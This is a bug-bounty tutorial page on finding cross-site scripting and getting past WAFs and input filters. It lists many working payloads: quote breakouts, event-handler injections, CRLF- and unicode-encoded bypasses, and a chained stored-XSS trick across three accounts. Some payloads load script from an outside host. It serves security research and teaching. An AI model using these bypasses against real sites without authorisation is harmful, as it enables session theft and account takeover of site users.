Return to training

Cross Site Scripting (XSS) - The famous alert Shared by @zseano - Updated on 28/09/2018




Before we begin: If you don't already I highly recommend checking out BruteLogic's Blog for great in-depth tutorials about XSS. You can always follow him aswell @brutelogic.

Now, let's begin. XSS is usually the most common and also the most easiest type of vulnerability to find, but what happens when WAF's and other filters are in place stopping you?

Looking for XSS is simple: check every parameter. If we have GET/POST /search.php?q=zseano, then testing the ?q= param with "<script>alert(0)</script> would the first step to looking for XSS. Now we check the response and go from there.

For those who struggle to find XSS, i'll re-iterate again. check every parameter.. But how can we find parameters? Simple dorking and spidering can yeild you many results, for example: site:example.com inurl:& ext:php (change extension type to find more). Look and hunt everywhere. :)

So we've got the basics down with XSS so now let's discuss different scenarios of common problems that occur when testing for XSS..


The problem: The payload "><script>alert(0)</script> is echo'd in a SCRIPT tag but is replaced to <script>alert(0)<\/script>. We can't break out of the script tag with ">, and we can't end the script tag because </script> is replaced to <\/script>. What can we do?

The solution:Aslong as " isn't replaced to \" or %22, you should be able to use some of these payloads: "-alert(0)-", ";alert(0);//,'-alert(0)-', "+alert(0)+", ");alert(0);//.

You get the idea. Aslong as the characters " ; ) } are not filtered, you can use valid JS in order to end things like functions{} and get your javascript to execute.



The problem: The response only contains part of the payload, for example "><script>alert(0)</script> only returns "><script>.

The solution: First things first, we know they don't filter XSS here, however this can be quite tricky to bypass as it all depends on where it is returned in the DOM. Below is an experience I had to give you an idea as to what to try:

I was able to signup using XSS in my first and last name and whenever I commented on a post my name would cause the HTML to be rendered weird because of the random script tag in my name. I was able to chain XSS here by using 3 accounts with the following names:

~Account one: <script>/*~Account two: can be anything.
~Account three: /*</script> << this ends the multi comment tag and also the script tag!

So now, account 3 posts first (since newest comment is at top). Now account two posts the javascript to be executed by posting the following comment: */ alert(0) /*. Now account one comments, and in turn starts the script tag, comments out everything until it gets to my comment.. executes the "0", then comments out again until it gets to the third account which ends the script tag. There we have 3 chained payloads to achieve stored XSS and a nice payout :D

The general rule when your payload is truncated is to use things like 2 letter domains (xx.xx) and this payload <script/src=//xx.xx>, or using a method like above to chain multiple payloads.



The problem: The payload "><script>alert(0)</script> only returns "alert(0). and strips everything else.

The solution:We don't always need a script tag to get XSS. As most researchers know we can use any of the following payloads: "onfocus="alert(0)" k=", "onmouseover=alert(0), "onmousenter="alert(0)" k=", etc. You can find a list of event handlers from this page.

One common problem researchers find is when on{} is blacklisted/filtered. It all depends on where it is reflected but I find trying the payload onxss= can determine if they are filtering on*, or if just something like onfocus= is blacklisted.

For the first one I recommend trying things like on%0dmouseover= (you can also use %09, %0C, %00 here), onmouseover%3D, onmouseover=alert(0)"= (I had an experience where a WAF would allow for anything aslong as the payload ended in =).

However, if it's the latter then I recommend running through the list above. (here for you lazy people).



Methods for bypassing filters

The last peice of advice i'd like to give researchers faced with a filter/waf when hunting for XSS is to remember the WAF might just be running on a blacklist and by using things like "%0d" (for example <svg%0donload=prompt(1)>), it can sometimes confuse it, and render your XSS. Understand what the filter is looking for and start fuzzing/testing.

  • java%0d%0ascript%0d%0a:alert(0)
  • (crlf injection to bypass javascript: being blacklisted)

  • <svg%0donload=prompt(1)>
  • (incase svg onload= is filtered, the %0d acts as a seperator and can sometimes confuse wafs.) %0a %0c %09 %00 are also common payloads to use here.

  • <input onfocus=alert(0) autofocus>
  • If a dev has hard-coded a blacklist to "protect" from XSS, input is sometimes forgotten about!

  • \\"-alert(0);//
  • The use of \\ will break out of the quote inside a script tag

  • "onmouseenter=confirm(1)>
  • The WAF blacklisted alert(0), prompt(0), but failed to filter confirm(1) aswell as onmouseenter=. Onmouseneter does the same as onmouseover= but a lot of devs seem to not know this (not sure why) and fail to blacklist it.

  • <base href=//yoursite.com>
  • Same as above, base href is usually not filtered by a WAF and can help confirm existence of XSS.

  • %uff1cscript%uff1ealert(1)%uff1c/script%uff1e
  • From ghettobypass and is used on ASP.NET endpoints. I highly recommend bookmarking his page.